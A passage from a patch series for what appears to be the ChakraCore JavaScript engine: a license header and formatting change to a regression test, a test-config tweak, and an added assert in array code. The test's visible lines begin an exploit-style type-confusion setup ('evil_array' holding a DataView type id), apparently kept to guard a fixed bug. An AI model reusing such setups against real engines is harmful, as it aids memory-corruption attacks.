2017 13:20:16 -0700 Subject: [PATCH 11/12] Fix CI --- test/typedarray/floathelperaccess.js | 6 +++++- test/utf8/rlexe.xml | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/test/typedarray/floathelperaccess.js b/test/typedarray/floathelperaccess.js index ef48991d326..e7143db3185 100644 --- a/test/typedarray/floathelperaccess.js +++ b/test/typedarray/floathelperaccess.js @@ -1,4 +1,8 @@ - var evil_array = new Array(0x38/*dataview type id*/,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); +//------------------------------------------------------------------------------------------------------- +// Copyright (C) Microsoft Corporation and contributors. All rights reserved. +// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information. +//------------------------------------------------------------------------------------------------------- +var evil_array = new Array(0x38/*dataview type id*/, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); g_lo = 0; g_hi = 0; var b = [1.1,2.2]; diff --git a/test/utf8/rlexe.xml b/test/utf8/rlexe.xml index 9b9def7ea81..f595b1203c7 100644 --- a/test/utf8/rlexe.xml +++ b/test/utf8/rlexe.xml @@ -32,7 +32,7 @@ bugGH2656.js - -args summary + -args summary -endargs From b3aeb3048200c581ff2c7a578714146669e4cd8e Mon Sep 17 00:00:00 2001 From: Rajat Dua Date: Thu, 11 May 2017 14:51:14 -0700 Subject: [PATCH 12/12] Fix Prefast warning --- lib/Runtime/Library/JavascriptArray.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp index 6264a8b1e3d..b020307a376 100644 --- a/lib/Runtime/Library/JavascriptArray.cpp +++ b/lib/Runtime/Library/JavascriptArray.cpp @@ -5220,6 +5220,7 @@ namespace Js { SparseArraySegment* headSeg = (SparseArraySegment*)array->head; + AnalysisAssert(headSeg); SparseArraySegment* newHeadSeg = SparseArraySegment::template AllocateSegmentImpl(recycler, headSeg->left, headSeg->length, headSeg->size, headSeg->next);